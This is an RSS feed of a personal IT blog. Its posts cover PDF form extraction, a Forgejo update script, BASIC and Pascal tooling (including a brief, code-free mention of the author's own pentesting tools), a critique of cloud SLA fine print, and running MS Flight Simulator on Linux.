<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>blog.jakobs.systems</title><link>https://blog.jakobs.systems/en/</link><description>Recent content on blog.jakobs.systems</description><language>en</language><atom:link href="https://blog.jakobs.systems/en/index.xml" rel="self" type="application/rss+xml"/><item><title>New c't publication: Reading PDF Forms</title><link>https://blog.jakobs.systems/en/micro/20260123-new-heise-publication-pdf/</link><pubDate>Fri, 23 Jan 2026 06:55:32 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20260123-new-heise-publication-pdf/</guid><description>A new publication written by me has been published in today's c't 3/2026. It shows step-by-step how data from PDF forms can be automatically extracted using the open source tool pdfcpu and subsequently imported back into ERP or ticket systems using jq or curl.</description><category>ct</category><category>Opensource</category><category>pdfcpu</category><category>PDF</category><category>LibreOffice</category><content>&lt;p>A new publication written by me has been published in today&amp;rsquo;s c&amp;rsquo;t 3/2026.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> It shows step-by-step how data from PDF forms can be automatically extracted using the open source tool pdfcpu and subsequently imported back into ERP or ticket systems using jq or curl.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20260123-ct-pdf-formulare-auslesen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20260123-ct-pdf-formulare-auslesen.webp#c" alt="Screenshot of the article" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Completely without media breaks, proprietary software or subscriptions. By the way, the editable PDF forms are created with LibreOffice. The proprietary Microsoft Office still cannot create PDF forms by 2026.&lt;/p>
&lt;p>This is how I automate my own workflows, for example for IT declarations of self-compliance as part of supplier assessments according to ISO 27001 or TISAX.&lt;/p>
&lt;p>Buy the latest c&amp;rsquo;t, read it, and try it out!&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.heise.de/select/ct/2026/3/2532107440985860356">https://www.heise.de/select/ct/2026/3/2532107440985860356&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Forgejo Update-Script on codeberg.org</title><link>https://blog.jakobs.systems/en/micro/20260117-forgejo-update-script/</link><pubDate>Sat, 17 Jan 2026 11:30:07 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20260117-forgejo-update-script/</guid><description>In case you need a shell script or Ansible playbook to update your own Forgejo instance, I've just uploaded mine to Codeberg.</description><category>Bash</category><category>Forgejo</category><category>Tool</category><category>Opensource</category><category>Codeberg</category><category>Ansible</category><content>&lt;p>In case you need a shell script or Ansible playbook to update your own Forgejo instance, I&amp;rsquo;ve just uploaded mine to Codeberg.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The specific reason: There have been a series of updates in quick succession over the past days.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> I noticed some people expressing frustration about having to redo all their updates all over again.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20260117-forgejo-update-skript.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20260117-forgejo-update-skript.webp#c" alt="Screenshot of the Forgejo update process" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>This is exactly what automation is for: A clearly defined, reproducible update process saves time, reduces errors and ensures a more relaxed approach. And Forgejo, with its single-file binary, couldn&amp;rsquo;t be easier to deal with.&lt;/p>
&lt;p>The script and playbook are freely available and can be used as a basis or inspiration for your individual customizations.&lt;/p>
&lt;p>Best regards,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/forgejo-update-script">https://codeberg.org/tomas-jakobs/forgejo-update-script&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://social.toot9.de/deck/@forgejo@floss.social/115909227135149071">https://social.toot9.de/deck/@forgejo@floss.social/115909227135149071&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Why not every problem needs a framework</title><link>https://blog.jakobs.systems/en/micro/20260115-why-purebasic-freebasic-lazarus/</link><pubDate>Thu, 15 Jan 2026 10:30:09 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20260115-why-purebasic-freebasic-lazarus/</guid><description>Thoughts on system-oriented software, exotic programming languages, and why not every problem needs a framework.</description><category>PureBasic</category><category>Development</category><category>Developer</category><category>FreeBASIC</category><content>&lt;p>Back in the late 80s and early 90s, you still had to dive deep into the hardware to get decent software. This meant checking hardware-related register values to get mouse coordinates via interrupt 33h, for example. &lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Or write inline assembler within Turbo Pascal procedures or PowerBASIC functions. Those were the programming languages I grew up with. Later, others came along, but I never really got used to them. I am a &amp;ldquo;BASIC guy&amp;rdquo; as I write in my README on Codeberg.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Today, these kinds of things are abstracted away by operating systems and powerful frameworks. That&amp;rsquo;s a good thing. It really saves you a lot of work. On the other hand, it comes with downsides that you wouldn&amp;rsquo;t have without this kind of abstraction. For small, precise tools that require deterministic and robust behaviour, it&amp;rsquo;s usually not helpful. Especially if the software is supposed to be &amp;ldquo;grown-up&amp;rdquo; software.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>If you think I reject modern frameworks and concepts, you are mistaken: I am just as much a fan of Python or a Django web framework. My point is that nowadays it is more important than ever to master tools beyond the mainstream.&lt;/p>
&lt;p>Tools that stay close to the compiler and generate cross-platform, small and native single-file binaries, with or without a GUI. Modern languages such as Rust or Go have only limited capabilities in this regard. A recent and worthwhile article, &amp;ldquo;Why PureBasic Is Potentially the Last Surviving Cross-Platform Systems GUI Language&amp;rdquo; explains why.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20260115-purebasic-freepascal.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20260115-purebasic-freepascal.webp#c" alt="Screenshot of the PureBasic editor on Linux" loading="lazy"/>&lt;small>Screenshot of the PureBasic editor on Linux&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>For me, this is essential, for example, to create customised pentesting tools that deliberately &amp;ldquo;throw&amp;rdquo; incorrect content lengths of HTTP requests against an API. To deal with NTFS filestreams or to stay &amp;ldquo;under the radar&amp;rdquo; from common antivirus and EDR software. I have every right to rant about this snake oil. My ‘clipboard auditor’ for extracting login details has not been detected anywhere for decades.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The use of FreeBASIC, PureBasic or Lazarus/FreePascal is a conscious decision after scope or specifications have been set. For tasks where clarity, control, determinism and longevity are crucial. No ideological vendor talk or ‘we use a hammer for everything’ approach.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20260115-purebasic-freepascal2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20260115-purebasic-freepascal2.webp#c" alt="Screenshot of the Lazarus/Freepascal editor on Linux" loading="lazy"/>&lt;small>Screenshot of the Lazarus/Freepascal editor on Linux&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>If you look at today’s industrial landscapes, you will discover RS232 interfaces, VisualBasic in Siemens PLC systems, PGs from retro times and modern control PCs that are slightly better. Starting a web browser often pushes these to their memory and performance limits.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20260115-purebasic-freepascal3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20260115-purebasic-freepascal3.webp#c" alt="Siemens PLC S5 PG from the 1990s, still in use today" loading="lazy"/>&lt;small>Siemens PLC S5 PG from the 1990s, still in use today&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>If you have challenges that seem unsolvable, feel free to contact me.&lt;/p>
&lt;p>Best regards,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://stanislavs.org/helppc/int_33.html">https://stanislavs.org/helppc/int_33.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs?tab=repositories">https://codeberg.org/tomas-jakobs?tab=repositories&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20260111-it-fuer-erwachsene/">https://blog.jakobs.systems/blog/20260111-it-fuer-erwachsene/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://medium.com/@chikega/why-purebasic-is-the-last-surviving-cross-platform-systems-gui-language-7bde899759a2">https://medium.com/@chikega/why-purebasic-is-the-last-surviving-cross-platform-systems-gui-language-7bde899759a2&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/clipboard-auditor">https://codeberg.org/tomas-jakobs/clipboard-auditor&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>PureBasic v6.3 came out yesterday</title><link>https://blog.jakobs.systems/en/micro/20260113-new-purebasic-releases/</link><pubDate>Tue, 13 Jan 2026 00:10:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20260113-new-purebasic-releases/</guid><description>PureBasic v6.3 came out yesterday. A real good occasion to recompile my projects based on it and make them more visible.</description><category>Codeberg</category><category>Purebasic</category><content>&lt;p>PureBasic v6.3 came out yesterday.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> A real good occasion to recompile my projects based on it and make them more visible. Especially in times of heavyweight frameworks, these tools show that functional software can be done differently: single binaries with native performance, extremely small, transparent and easy to maintain.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>A self-hosted aviation weather planner with DWD ICON-D2 data&lt;/strong>, which processes raw data on the server side and delivers it as a lean web application. &lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> The front end and web server do not require external services or frameworks, including OSM caching, reverse proxy and kiosk mode for permanently operated POI/POS information systems that can be used offline aswell.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>A compact CLI tool for QR and barcode recognition&lt;/strong> that uses USB webcams or RTSP streams and replaces specialised, significantly more expensive scanner hardware.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> Barcodes are reliably recognised even from a distance of several metres. With virtual keyboard, script hooks and targeted code selection for maximum performance. Robust and easy to maintain in industrial operations.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>A production-ready REST API server&lt;/strong>, fully RFC-compliant, multi-threaded, TLS and BasicAuth capable without dependence on external runtimes or frameworks.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> Cross-platform capable as a systemd service under Linux or as a native Windows service (SCM), modularly structured and customisable. I have published the skeleton as a template for all possible use cases.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Further details can be found in the respective repositories and changelogs on Codeberg. Purebasic is my &amp;ldquo;secret weapon&amp;rdquo; for lean, high-performance and system-oriented tools.&lt;/p>
&lt;p>Have fun!&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://purebasic.fr/english/viewtopic.php?t=87454">https://purebasic.fr/english/viewtopic.php?t=87454&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/aviation-dwd-planner">https://codeberg.org/tomas-jakobs/aviation-dwd-planner&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/qr-code-detection">https://codeberg.org/tomas-jakobs/qr-code-detection&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/rest-api-skeleton">https://codeberg.org/tomas-jakobs/rest-api-skeleton&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Why SLAs Are Often Little More Than Marketing</title><link>https://blog.jakobs.systems/en/blog/20251209-dirty-tricks-it-clouds/</link><pubDate>Tue, 09 Dec 2025 19:50:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20251209-dirty-tricks-it-clouds/</guid><description>Cloud providers advertise 99.99% availability. But reality looks different. Why SLAs are often just marketing and where the sleight of hand around downtime, hidden costs, and legal pitfalls lies.</description><category>Cloud</category><category>Management</category><category>Azure</category><category>Infrastructure</category><content>&lt;p>As a follow-up to my blog &amp;ldquo;What Really Measures IT Success&amp;rdquo;, today I am writing about a related topic.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> It deals with the promises made by cloud and service providers and how they entice customers with availability figures beyond 99%.&lt;/p>
&lt;p>Anexia/Netcup, the infrastructure provider where I operate, among other things, my mail server, VPN gateway, and a few other hosts, states an availability of 99.6% on its website.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> That means a theoretical downtime of up to 40 minutes per week or up to 35 hours per year.&lt;/p>
&lt;p>Microsoft Azure, for example, cites 99.95% or 99.99% as a benchmark for enterprise availability.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> In purely mathematical terms, this would correspond to a maximum of just one minute of downtime per week or up to 53 minutes in an entire year. Impressive at first glance.&lt;/p>
&lt;p>As often, the issue lies elsewhere, not in the technology.&lt;/p>
&lt;h2 id="sla-tricks-and-fine-print">SLA Tricks and Fine Print&lt;/h2>
&lt;p>For most providers, availability is measured based on many individual SLAs (Service Level Agreements).&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> The availability of a virtual machine is completely separate from the availability of storage, authentication, or a reverse or load-balancing proxy.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Sounds complicated, doesn&amp;rsquo;t it? From many projects I know that this fine-grained separation can become a stumbling block. At the same time, there is a shift away from technical matters toward legal subtleties with their own rules. Understanding this has become an industry of its own.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="points-that-deserve-a-closer-look">Points That Deserve a Closer Look&lt;/h2>
&lt;p>Here is an overview of some well-known industry patterns. They do not apply to all providers and are not meant as universally valid statements. As always: no claim to completeness. Your mileage may vary.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>SLAs only take effect after a support ticket has been submitted. The 10 to 15 minutes often needed beforehand to receive, verify, and formulate a ticket are simply ignored. If external service providers and additional partners are involved, hours can pass before a ticket is actually created.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Short-notice &amp;ldquo;planned&amp;rdquo; maintenance windows are not counted as downtime in many SLAs and effectively serve as a free pass for providers. Whether an outage or &amp;ldquo;planned&amp;rdquo; maintenance: For customers, the system is unavailable.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Short outages, for example those lasting less than five minutes, are contractually excluded by many providers. Unfortunately, 15 outages of four minutes each still add up to a full working hour by the end of the month that goes unaccounted for.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Multiple outages with a common root cause are grouped into a single event. Three outages lasting 10, 20, and 30 minutes respectively become one single event with only 30 minutes of total downtime after resolution, instead of the actual 60 minutes.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Different monitoring measurement points: service providers often measure availability only internally at an API, not at the actual service. For example, if high latencies make a service unusable, this is often not captured.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Complex proof requirements and reporting procedures. Customers must document outages themselves and comply with standardized reporting channels. For non-technical users, this is often barely manageable. Complexity and frequent changes to the process are sometimes intentional.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>SLAs are always evaluated monthly, not annually. &amp;ldquo;Bad&amp;rdquo; months are quietly and effectively averaged out.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Local or regional outages do not count if other regions of the provider continue to operate. Economically this is still painful for the customer, but formally there is no SLA violation.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>SLAs only apply when using the &amp;ldquo;correct architecture&amp;rdquo; or booking certain services. Microsoft Azure, for example, only grants 99.99% availability if Azure is used the way Azure wants it to be used, with availability groups, zones, multiple instances, and much more. Many are not aware of this at the beginning. Later on, some deliberately choose a different approach for cost reasons.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Architectural complexity becomes mandatory. The operational risk always remains with the customer. This allows for flexible interpretations when dependencies interlock. A brief hiccup in a critical service can still cause side effects and outages hours later. These ripple effects understandably do not appear in the SLAs of cloud providers.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="the-elephant-in-the-room-is-more-a-cash-cow">The Elephant in the Room is More a Cash Cow&lt;/h2>
&lt;p>It is not that high availability is inherently more expensive. Redundancy does, however, significantly increase data traffic for forwarding, replication, or distributed backups.&lt;/p>
&lt;p>On closer inspection, the supposed elephant in the room turns out to be a well-protected cash cow:&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> Providers charge aggressively internal traffic as soon as someone is stuck in vendor lock-in.&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> Infrastructures or central applications are not changed every few years. This is where customers are most locked in and least likely to change.&lt;/p>
&lt;p>At this point, many cost-effectiveness calculations fail.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>SLAs rarely protect the customer; they primarily protect the provider. The rest is pure marketing. They are only of limited use for fact-based statements about actual availability or real costs.&lt;/p>
&lt;p>Companies are withdrawing from public cloud infrastructures. This trend is called repatriation. According to an IDC report from 2024, large enterprises in particular are increasingly bringing workloads back into their own server rooms and data centers.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> The golden cloud-native days are over, according to a recent Heise analysis.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> Add to this the current geopolitical situation.&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>&lt;/p>
&lt;p>This does not mean that cloud solutions are inherently bad or uneconomical. As so often, it depends on the individual case.&lt;/p>
&lt;p>In 2019, I had the opportunity to analyze this for a mid-sized construction company with five locations. The question at the time was whether the new DocuWare document management system should be operated in the cloud or in the company&amp;rsquo;s own server room.&lt;/p>
&lt;p>Even with conservative assumptions about price developments, based solely on inflation adjustment, the analysis showed a clear result: operating the system in-house was more economical over a ten-year period. This included building a second server room with air conditioning, redundant hardware, and infrastructure. The cost driver then, as now, was internal traffic, which the cloud provider charged for operations, replication, and backups.&lt;/p>
&lt;p>Do you have projects or ideas for the new year?&lt;br>
I would be happy to support you.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20250820-it-erfolg-messen/">https://blog.jakobs.systems/blog/20250820-it-erfolg-messen/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://netcup.com/de/ueber-netcup/rechenzentren">https://netcup.com/de/ueber-netcup/rechenzentren&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://microsoft.com/licensing/docs/view/Service-Level-Agreements-SLA-for-Online-Services">https://microsoft.com/licensing/docs/view/Service-Level-Agreements-SLA-for-Online-Services&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Service-level_agreement">https://en.wikipedia.org/wiki/Service-level_agreement&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Reverse_proxy">https://en.wikipedia.org/wiki/Reverse_proxy&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://heise.de/news/blabla-9301567.html">https://heise.de/news/blabla-9301567.html&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Ripple_effect">https://en.wikipedia.org/wiki/Ripple_effect&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Cash_cow">https://en.wikipedia.org/wiki/Cash_cow&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Vendor_lock-in">https://en.wikipedia.org/wiki/Vendor_lock-in&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://blogs.idc.com/2024/10/28/storm-clouds-ahead-missed-expectations-in-cloud-computing/">https://blogs.idc.com/2024/10/28/storm-clouds-ahead-missed-expectations-in-cloud-computing/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://heise.de/hintergrund/blabla-11107110.html">https://heise.de/hintergrund/blabla-11107110.html&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://golem.de/news/blabla-2511-201836.html">https://golem.de/news/blabla-2511-201836.html&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>MS Flight Simulator - best on Linux</title><link>https://blog.jakobs.systems/en/micro/20251202-msfs-on-linux/</link><pubDate>Tue, 02 Dec 2025 17:30:21 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20251202-msfs-on-linux/</guid><description>The Microsoft Flight Simulator runs surprisingly stable on Linux and even better than on Windows.</description><category>Microsoft</category><category>MSFS</category><category>Linux</category><category>Steam</category><category>Games</category><content>&lt;p>At the end of October I switched my gaming machine from Win10 to Linux.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Not without some 2nd thoughts how the games would perform. This weekend it was finally time to tackle the supposedly toughest one: The Microsoft Flight Simulator.&lt;/p>
&lt;p>It is likely Microsoft&amp;rsquo;s flagship product, significantly older than Windows.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> After 43 years, it remains one of Microsoft’s oldest continuously supported software products. That definitely won’t run on Linux I thought. How wrong I was. The images speak for themselves:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251202-msfs-linux2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251202-msfs-linux2.webp#c" alt="This afternoon I have made a virtual trip within the EDLW CTR" loading="lazy"/>&lt;small>This afternoon I have made a virtual trip within the EDLW CTR&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251202-msfs-linux3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251202-msfs-linux3.webp#c" alt="Crosswind landing on Runway 24 in EDLW Dortmund-Holzwickede" loading="lazy"/>&lt;small>Crosswind landing on Runway 24 in EDLW Dortmund-Holzwickede&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251202-msfs-linux4.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251202-msfs-linux4.webp#c" alt="Even my virtual logbook was imported" loading="lazy"/>&lt;small>Even my virtual logbook was imported&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251202-msfs-linux.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251202-msfs-linux.webp#c" alt="Microsoft Flight Simulator on Linux works very well" loading="lazy"/>&lt;small>Microsoft Flight Simulator on Linux works very well&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>The long winter evenings can come. If only Microsoft knew how smoothly their flagship product runs on Linux. Including Saitek pedals and SideWinder2 ForceFeedback, Azure photogrammetry,&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> live weather and other online players. I only still need to work on the fs2ff bridge&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> to integrate it into Enroute, which I also use in real flights.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Yours,&lt;br>
